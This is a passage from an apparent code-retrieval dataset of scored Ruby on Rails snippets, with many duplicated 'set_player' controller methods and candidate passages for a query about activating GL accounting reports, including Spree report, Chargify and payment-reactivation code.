"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "80012685b7478880706ffb8759005d3e",
"score": "0.6405644",
"text": "def advance_player(player)\n end",
"title": ""
},
{
"docid": "52859844c3694e6dca406cf4f91d7783",
"score": "0.6401871",
"text": "def advance_player!(player)\n end",
"title": ""
},
{
"docid": "582149327dd1c0bf7847bbc29313ce01",
"score": "0.63910735",
"text": "def player=(_arg0); end",
"title": ""
},
{
"docid": "a3086e53589f6d490b6a07ee9d4ab54f",
"score": "0.6380399",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bd3f20d3fb0709bdd41f1b34f09a804",
"score": "0.6379964",
"text": "def set_player\n\t\t@player = Player.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "1c7c3419a313271bbe2b29187d1c4843",
"score": "0.6376758",
"text": "def advance_player!(player)\n \n\n player\n end",
"title": ""
},
{
"docid": "a162186be629030266b1b58bff2036c3",
"score": "0.6360871",
"text": "def set_player\n\t @player = Player.find(params[:id])\n\t end",
"title": ""
},
{
"docid": "6e490bc3e8b0104d6193fe45bdf60644",
"score": "0.6346849",
"text": "def set_players_player\n @players_player = Domain[Players: :Player].fetch(params[:id])\n end",
"title": ""
},
{
"docid": "2b9e3de0f5fa390e545f93b3ea192d12",
"score": "0.6336186",
"text": "def me\n player(my_id)\n end",
"title": ""
},
{
"docid": "2b9e3de0f5fa390e545f93b3ea192d12",
"score": "0.6336186",
"text": "def me\n player(my_id)\n end",
"title": ""
},
{
"docid": "2b9e3de0f5fa390e545f93b3ea192d12",
"score": "0.6336186",
"text": "def me\n player(my_id)\n end",
"title": ""
},
{
"docid": "4686c138813221a81140016b1bc119ab",
"score": "0.6335795",
"text": "def initialize\n \t\t@player_id = \"Jim\"\n end",
"title": ""
},
{
"docid": "0e90328b098e37a48ab236620f242f25",
"score": "0.63240874",
"text": "def player\n @tags = Tagged.get_tags_for_player(params[:id])\n render :player\n end",
"title": ""
},
{
"docid": "4aaff915bf9cf310ff3cf5598481585b",
"score": "0.6317668",
"text": "def set_player\n @player = Player.find_by_oncourt_id(params[:id])\n end",
"title": ""
},
{
"docid": "462341ae839fcc2ef33ffca99dad14e4",
"score": "0.6304375",
"text": "def user_tracked_players\n test = UserPlayer.where(user_id:self.id).pluck(:player_id)\n\n if test.count == 0\n puts \"You are not tracking any players yet. Let's fix that!\"\n self.add_favorite_player\n else\n test.each do |player_id|\n lookup_player = Player.find_by(id:player_id)\n player_hash = {}\n player_hash[:first_name] = lookup_player.first_name\n player_hash[:last_name] = lookup_player.last_name\n player_id = Player.search_player_api_return_id(player_hash)\n sorted_data = PlayerStat.search_stats_by_player_id(player_id)\n PlayerStat.combined_stats(sorted_data)\n team_num = Player.search_player_api_return_team_id(player_hash)\n PlayerStat.player_team_record(team_num)\n player_id_array = Player.get_all_team_player_ids(team_num)\n PlayerStat.rank_player_against_team(player_id_array,player_id,player_hash)\n puts \"\"\n\n PlayerStat.player_news(player_hash)\n puts \"\"\n end\n self.user_option_menu\n end\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.62977874",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "6bddcbdde7662f1869f426fa0be85f99",
"score": "0.629687",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "5ab828cf1d8259727a895e288e68ff0a",
"score": "0.62889546",
"text": "def initialize(id)\n @id = id\n @player = nil\n end",
"title": ""
},
{
"docid": "c58b9272eca972e2434f3137b4f614a7",
"score": "0.62667716",
"text": "def set_player\n @player = Player.find_by(id: params[:id])\n end",
"title": ""
},
{
"docid": "1e901c17fa30b74088bf3316da1267ff",
"score": "0.625249",
"text": "def set_player\n @player = Player.find_by(id: params[:id])\n end",
"title": ""
},
{
"docid": "10a152efeece08f45546d1fcacb5dc76",
"score": "0.62458056",
"text": "def set_player\n @player = Player.find_by_id(params[:id])\n unless @player.present?\n render json: {error: \"cant find player\"}\n end\n end",
"title": ""
}
] |
b044c7754c7acf9fc3e0dd9a15e83d98
|
GL reports are deactivated in new transam instance if a chart of account exists, GL features are enabled therefore need to activate reports
|
[
{
"docid": "cb15e2c3d17597a2fe51cc533d4f05aa",
"score": "0.7574424",
"text": "def activate_gl_reports\n report_type = ReportType.find_by(name: \"GL/Accounting Report\")\n report_type.update!(active: true)\n\n report_type.reports.update_all(active: true)\n\n end",
"title": ""
}
] |
[
{
"docid": "88e1e7f680618310e135fa699e1bfb65",
"score": "0.62181807",
"text": "def compare_report\n @accounts_enabled = (Configuration.get_config_value 'MultiFeeAccountEnabled').to_i == 1\n @accounts = FeeAccount.all if @accounts_enabled\n end",
"title": ""
},
{
"docid": "13d4697d40190560a44c931a0e8b53e1",
"score": "0.5807724",
"text": "def create_global_report\n super\n end",
"title": ""
},
{
"docid": "6995143a5b883c106d617998cd46040b",
"score": "0.56272113",
"text": "def landing\n redirect_to(root_url) && return unless ADMIN_OPTIONS['report_mode']\n end",
"title": ""
},
{
"docid": "6995143a5b883c106d617998cd46040b",
"score": "0.5626059",
"text": "def landing\n redirect_to(root_url) && return unless ADMIN_OPTIONS['report_mode']\n end",
"title": ""
},
{
"docid": "761b7176fcdf6c84035852956f06d5bd",
"score": "0.55316126",
"text": "def set_report\n end",
"title": ""
},
{
"docid": "d53147cb3cb450955669d306e2e0a537",
"score": "0.5431445",
"text": "def new_direct_sales_tm\n return if authorise_for_web(program_name?,'create') == false\n render_new_direct_sales_tm\n end",
"title": ""
},
{
"docid": "ba9e43d63f81748c68bf2ddc284f8082",
"score": "0.5423216",
"text": "def request_active_report\n begin\n #both of these return some info include the report request id..\n @active_report = @client.request_report(\"_GET_MERCHANT_LISTINGS_DATA_\").parse\n\n rescue Excon::Errors::ServiceUnavailable\n puts \"the active report had an issue\"\n sleep 2 and retry\n \n else\n puts \"The active report was requested fine\"\n end\n \n if @difference < 1800\n find_report_status_just_active\n end\n \n end",
"title": ""
},
{
"docid": "bc94cad106c47db022cf588f59500993",
"score": "0.53310835",
"text": "def on_users_account\n true\n end",
"title": ""
},
{
"docid": "78a2a5db52347a70f45769a72c339512",
"score": "0.53123206",
"text": "def accounts_with_usage; end",
"title": ""
},
{
"docid": "c46b9dadfaa2fbb6a71ab365a785c099",
"score": "0.5296874",
"text": "def can_ba_create_report?\n (status == Service.status_confirmed || status == Service.status_conducted) && report.nil? \n end",
"title": ""
},
{
"docid": "6851d339f3cd66430fb276c417df6962",
"score": "0.52907807",
"text": "def report_account\n @report_account || self\n end",
"title": ""
},
{
"docid": "b4ca79698344b1726cc85274f4d68955",
"score": "0.52710164",
"text": "def enable_tracking\n @DoNotTrack = false\n #Enable do not track for admin and any future employees. Har har. Employees. Yah right.\n if user_signed_in? && current_user.is_admin?\n @DoNotTrack = true\n end\n true\n end",
"title": ""
},
{
"docid": "eae69c38dabf6ad22757d37c721037ae",
"score": "0.5266721",
"text": "def report; end",
"title": ""
},
{
"docid": "eae69c38dabf6ad22757d37c721037ae",
"score": "0.5266721",
"text": "def report; end",
"title": ""
},
{
"docid": "eae69c38dabf6ad22757d37c721037ae",
"score": "0.5266721",
"text": "def report; end",
"title": ""
},
{
"docid": "eae69c38dabf6ad22757d37c721037ae",
"score": "0.5266721",
"text": "def report; end",
"title": ""
},
{
"docid": "eae69c38dabf6ad22757d37c721037ae",
"score": "0.5266721",
"text": "def report; end",
"title": ""
},
{
"docid": "4f6bf9adeecf471f9650759281e9075c",
"score": "0.52447206",
"text": "def activate\n \n Admin::ConfigurationsController.class_eval do\n before_filter :add_consignments_link, :only => :index\n \n def add_consignments_link\n @extension_links << {:link => admin_consignments_url, :link_text => t('consignments'), :description => t('consignment_description')}\n end\n end\n\n Admin::ReportsController.class_eval do\n\n def index\n reports = Admin::ReportsController.const_get(:AVAILABLE_REPORTS)\n new_line_items = {:consignment_commissions => {:name => \"consignment_commissions\", :description => \"commissions_due_for_consignments\"}}\n @reports = reports.update(new_line_items)\n end\n\n def consignment_commissions\n \n # Issue in Spree with line_items model. Force the query instead of using named_scopes.\n sql_string = \"orders.completed_at IS NOT NULL AND \" + \n \"products.consignment_id IS NOT NULL\"\n join_string = \"INNER JOIN orders ON line_items.order_id = orders.id \" +\n \"INNER JOIN variants ON line_items.variant_id = variants.id \" +\n \"INNER JOIN products ON variants.product_id = products.id \" +\n \"INNER JOIN consignments ON consignments.id = products.consignment_id \" +\n \"INNER JOIN consignors ON consignments.consignor_id = consignors.id\"\n select_string = \"line_items.id, line_items.quantity, line_items.price, orders.completed_at, \" + \n \"products.name, consignments.id, consignments.commission, consignors.first_name, consignors.last_name\"\n\n @search = LineItem.searchlogic(params[:search])\n \n @line_items = @search.find(:all,\n :select => select_string,\n :conditions => sql_string,\n :joins => join_string,\n :order => 'consignors.last_name, consignors.first_name, products.consignment_id, orders.completed_at')\n\n @item_total = @line_items.sum { |p| p.quantity * p.price }\n @commission_total = @line_items.sum { |p| (p.quantity * p.price) * (p.commission.to_f / 100)}\n end\n end\n \n Admin::NavigationHelper.class_eval do\n def link_to_consignor(resource)\n link_to_with_icon('exclamation', t('consignors'), edit_object_url(resource))\n end\n def link_to_consignment(resource)\n link_to_with_icon('exclamation', t('consignments'), edit_object_url(resource))\n end\n end\n \n Product.class_eval do\n belongs_to :consignment\n end\n \n LineItem.class_eval do\n named_scope :checkout_complete, {:include => :order, :conditions => [\"orders.completed_at IS NOT NULL\"]}\n named_scope :is_consignment, {:include => :product, :conditions => [\"products.consignment_id IS NOT NULL\"]}\n end\n \n User.class_eval do \n has_many :consignors\n end\n \n State.class_eval do\n has_many :consignors\n end\n\n end",
"title": ""
},
{
"docid": "b38b9ad118ba13e3009cb652c6f9ebe1",
"score": "0.5195034",
"text": "def upgrade_account_as_agent\n\n @account = Account.find(params[:account_id])\n @contact = @account.contact\n @price_plans = Country.get_paid_plans_for_country(@account.country_short)\n @order_kind = 'upgrade'\n\n respond_to do |format|\n format.html {render(layout: 'management')}\n end\n end",
"title": ""
},
{
"docid": "ab9c74a685f7a601299e4f6180a48856",
"score": "0.5192796",
"text": "def report\n \n end",
"title": ""
},
{
"docid": "f11e45c63a3e772db283d7fc7985ffe6",
"score": "0.5190822",
"text": "def gt_enable!\n unless self.gt_enabled?\n self.gt_enabled = true\n\n self.cohorts << Settings::User.current_cohort unless self.cohorts.include? Settings::User.current_cohort\n GT::UserManager.ensure_users_special_rolls(self, true)\n\n self.save(:validate => false)\n\n public_roll = self.public_roll\n if (self.user_type == User::USER_TYPE[:real] || self.user_type == User::USER_TYPE[:converted])\n public_roll.roll_type = Roll::TYPES[:special_public_real_user]\n end\n public_roll.save(:validate => false)\n end\n end",
"title": ""
},
{
"docid": "2d00adf0092e7ec1d03f6363d4dfc5fc",
"score": "0.51434034",
"text": "def reporting\n # STUB\n end",
"title": ""
},
{
"docid": "207ef0e7e8bea1bb1bd373d175c056c8",
"score": "0.51389134",
"text": "def report\n\t\tend",
"title": ""
},
{
"docid": "1330819d232904c21f3af8337264dfe6",
"score": "0.5116127",
"text": "def reportable?\n enable_learner_state\n end",
"title": ""
},
{
"docid": "de622e1b206229e418d76703bb0402fc",
"score": "0.511298",
"text": "def pain_generation_enabled?\n creditor_detail.present?\n end",
"title": ""
},
{
"docid": "82136f3fc9989f2496309e22a861302d",
"score": "0.51112294",
"text": "def customer_gl_account\n # customer_category = self.customer.customer_category\n # return customer_category.gl_accounts_receivable_id, customer_category.gl_discount_account_id if customer_category\n glsetup = GeneralLedger::GlSetup.find(:first)\n return glsetup.ar_account_id ,glsetup.discount_sales_account_id\n end",
"title": ""
},
{
"docid": "0ae2c41bb30c41216fab808ed4ce5b60",
"score": "0.51091075",
"text": "def report_report(opts)\n return if not active\n created = opts.delete(:created_at)\n updated = opts.delete(:updated_at)\n state = opts.delete(:state)\n\n ::ApplicationRecord.connection_pool.with_connection {\n report = Report.new(opts)\n report.created_at = created\n report.updated_at = updated\n\n unless report.valid?\n errors = report.errors.full_messages.join('; ')\n raise \"Report to be imported is not valid: #{errors}\"\n end\n report.state = :complete # Presume complete since it was exported\n report.save\n\n report.id\n }\n end",
"title": ""
},
{
"docid": "013ad3f7aea95eae0c88eef1b1a90c8e",
"score": "0.51081806",
"text": "def has_advanced_analytics?\n patron?(tier: 1, before: STRIPE_MIGRATION_DATE) || patron?(tier: 4) || subscriptions.tier1.active.any? || admin? || self.class.stay_insideathon?\n end",
"title": ""
},
{
"docid": "6b0cb21da6acc8687566b8b228bed0e9",
"score": "0.5094105",
"text": "def dashboard\n if current_user.consented?\n variables = promis_disturbance_variables + promis_impairment_variables + meq_variables + wpai_variables + well_being_pcornet_variables + bmi_variables\n @data = current_user.subject.data(variables)\n end\n end",
"title": ""
},
{
"docid": "2e4498e507ffafbceb63b9bf32a167c8",
"score": "0.5092408",
"text": "def select_manual_or_system_bill\n @matters = Matter.unexpired_team_matters(get_employee_user_id, get_company_id, Date.today) unless params[:from_matter_billing]\n if can? :manage, MatterBilling\n render :layout=>false\n else\n redirect_to new_tne_invoice_path(:view => params[:view])\n end\n end",
"title": ""
},
{
"docid": "351c9e02a1f9c48322210d2a7f74433c",
"score": "0.508482",
"text": "def enableDebriefingStats \n \"enableDebriefingStats\" \n end",
"title": ""
},
{
"docid": "de3d5920d44448b58e0ec76206781ee1",
"score": "0.50665146",
"text": "def enable_factoring\n self.CustomerProfileNo = VISMA_CONFIG['factoring_customer_profile_number']\n self.FormProfileCustNo = VISMA_CONFIG['factoring_form_profile_number']\n self.RemittanceProfileNo = VISMA_CONFIG['factoring_remittance_profile_number']\n self.FactCustomerNo = self.CustomerNo.to_s\n end",
"title": ""
},
{
"docid": "0c31da62a59d86bc3469be5c83ea7adb",
"score": "0.5064784",
"text": "def custom_load\n @report = Report::Report.create(params[:report].merge(:mission_id => current_mission.id))\n end",
"title": ""
},
{
"docid": "ccdef250cc7a9115b4e227e0f480c1ad",
"score": "0.50586045",
"text": "def have_account?\n false\n end",
"title": ""
},
{
"docid": "b5fec731185ebee22e02a4f64329ff59",
"score": "0.5057127",
"text": "def create_new_report!; end",
"title": ""
},
{
"docid": "b5fec731185ebee22e02a4f64329ff59",
"score": "0.5057127",
"text": "def create_new_report!; end",
"title": ""
},
{
"docid": "60d45776d3ff24aa97624f66164da1dc",
"score": "0.50542706",
"text": "def enable_in_chargify_for(account)\n if !Rails.env.test? && account.chargify_customer_id.present?\n chargify_subscription = Chargify::Subscription.find_by_customer_reference(account.id)\n chargify_component = chargify_subscription.component(self.chargify_component_number)\n chargify_component.enabled = true\n chargify_component.save\n end\n end",
"title": ""
},
{
"docid": "b9a33f389beed4dc68e40bf1b12282f7",
"score": "0.50268245",
"text": "def course\n @include_graph_scripts = true\n Account.all.each do |account|\n Monthreport.find_or_create(account, Time.now)\n end\n \n if !@account\n @items = Item.without_transfers\n @expenses = Monthreport.grouped_by_date.collect{|m| [m.date, Monthreport.for_date(m.date).sum(:expenses)] }\n @income = Monthreport.grouped_by_date.collect{|m| [m.date, Monthreport.for_date(m.date).sum(:income )] }\n @saldo = Monthreport.grouped_by_date.collect{|m| [m.date, Monthreport.for_date(m.date).sum(:saldo )] }\n else\n @items = Item.for_account(@account.id).without_transfers\n @expenses = Monthreport.grouped_by_date.collect{|m| [m.date, Monthreport.for_account(@account.id).for_date(m.date).sum(:expenses)] }\n @income = Monthreport.grouped_by_date.collect{|m| [m.date, Monthreport.for_account(@account.id).for_date(m.date).sum(:income )] }\n @saldo = Monthreport.grouped_by_date.collect{|m| [m.date, Monthreport.for_account(@account.id).for_date(m.date).sum(:saldo )] }\n end\n end",
"title": ""
},
{
"docid": "79d978a3183b8708a2c0e63c991d1195",
"score": "0.50251985",
"text": "def show\n @verification_state = @project.verification_state\n\n unless @project.transactions.empty?\n charts_to_date = @project.transactions.order('date').last.date\n charts_from_date = (charts_to_date - 90.days).beginning_of_month\n chart_params = 'from_date=' + date_value(charts_from_date) +\n '&to_date=' + date_value(charts_to_date) +\n '&show_total=true';\n end\n chart_account_ids = @project.accounts.map{ |a| \"account_ids[]=#{a.id}\" }.join('&')\n\n @balance_chart_url = \"#{project_path(@project)}/reports/balance_data/?#{chart_params}\"\n @spend_chart_url = \"#{project_path(@project)}/reports/spend_data/?#{chart_params}&#{chart_account_ids}\"\n @income_outgoings_chart_url = \"#{project_path(@project)}/reports/income_outgoings_data/?#{chart_params}&#{chart_account_ids}\"\n end",
"title": ""
},
{
"docid": "cbd81215c19ac77dbea5c6ba5e191e13",
"score": "0.5018995",
"text": "def report_data\n options = process_params_options(params)\n if options.nil? || options[:view].nil?\n model_view = process_params_model_view(params, options)\n @edit = session[:edit]\n @view, settings = get_view(model_view, options, true)\n else\n @view = options[:view]\n settings = options[:pages]\n end\n settings = set_variables_report_data(settings, @view)\n\n if options && options[:named_scope] == \"in_my_region\" && options[:model] == \"Tenant\"\n @view.table = filter_parent_name_tenant(@view.table)\n end\n\n render :json => {\n :checkboxes_clicked => params.fetch_path(:additional_options, :checkboxes_clicked),\n :settings => settings,\n :data => view_to_hash(@view, true),\n :messages => @flash_array\n }\n end",
"title": ""
},
{
"docid": "b666231ae96bea6059316a2712e2c323",
"score": "0.5013326",
"text": "def auto\n redirect_to report_url(Report.key_for_area(Current.setting.area))\n end",
"title": ""
},
{
"docid": "8bba07ab9dcaa50c870a6d01a6d3cbed",
"score": "0.50100607",
"text": "def enable_for(account)\n unless account.component_enabled?(self.id)\n self.enable_in_chargify_for(account)\n \n account.account_components << self\n end\n end",
"title": ""
},
{
"docid": "8501dce03fb5fe222a40eb27107825ff",
"score": "0.50059164",
"text": "def reports\n backend.reports\n end",
"title": ""
},
{
"docid": "a21aa8f5607db164620939fd8d4fed7e",
"score": "0.49936965",
"text": "def generate_reactivation_transaction\n\n payment_method = params[:mp]\n company = Company.find(current_user.company_id)\n\n downgradeLog = DowngradeLog.where(company_id: company.id).order('created_at desc').first\n\n new_plan = downgradeLog.plan\n\n #Should have free plan\n previous_plan = company.plan\n\n if new_plan.custom\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price\n else\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price company.computed_multiplier\n end\n\n sales_tax = company.country.sales_tax\n\n day_number = Time.now.day\n month_number = Time.now.month\n month_days = Time.now.days_in_month\n\n plan_month_value = ((month_days - day_number + 1).to_f / month_days.to_f) * price\n due_amount = downgradeLog.debt\n\n accepted_payments = [\"16\",\"03\",\"04\",\"05\",\"06\",\"07\"]\n\n if accepted_payments.include?(payment_method) && company\n mockCompany = Company.find(current_user.company_id)\n mockCompany.plan_id = new_plan.id\n mockCompany.months_active_left = 1.0\n mockCompany.due_amount = 0.0\n mockCompany.due_date = nil\n\n if !mockCompany.valid?\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a [email protected] si el problema persiste. (9)\"\n else\n\n trx_comp = company.id.to_s + \"0\" + new_plan.id.to_s + \"0\"\n trx_offset = 4\n trx_date = DateTime.now.to_s.gsub(/[-:T]/i, '')\n trx_date = trx_date[0, trx_date.size - trx_offset]\n trx_date = trx_date[trx_date.size - 15 + trx_comp.size, trx_date.size]\n trx_id = trx_comp + trx_date\n\n if trx_id.size > 15\n trx_id = trx_id[0, 15]\n end\n\n due = sprintf('%.2f', ((plan_month_value + due_amount /(1 + sales_tax) )*(1 + sales_tax)).round(0))\n req = PuntoPagos::Request.new()\n resp = req.create(trx_id, due, payment_method)\n if resp.success?\n PlanLog.create(trx_id: trx_id, new_plan_id: new_plan.id, prev_plan_id: previous_plan.id, company_id: company.id, amount: due)\n PuntoPagosCreation.create(trx_id: trx_id, payment_method: payment_method, amount: due, details: \"Reactivación plan empresa id \"+company.id.to_s+\", nombre \"+company.name+\". Cambia de plan \"+company.plan.name+\"(\"+company.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+company.id.to_s+\". Resultado: Se procesa\")\n redirect_to resp.payment_process_url\n else\n PuntoPagosCreation.create(trx_id: trx_id, payment_method: payment_method, amount: due, details: \"Error creación de reactivación de plan empresa id \"+company.id.to_s+\", nombre \"+company.name+\". Cambia de plan 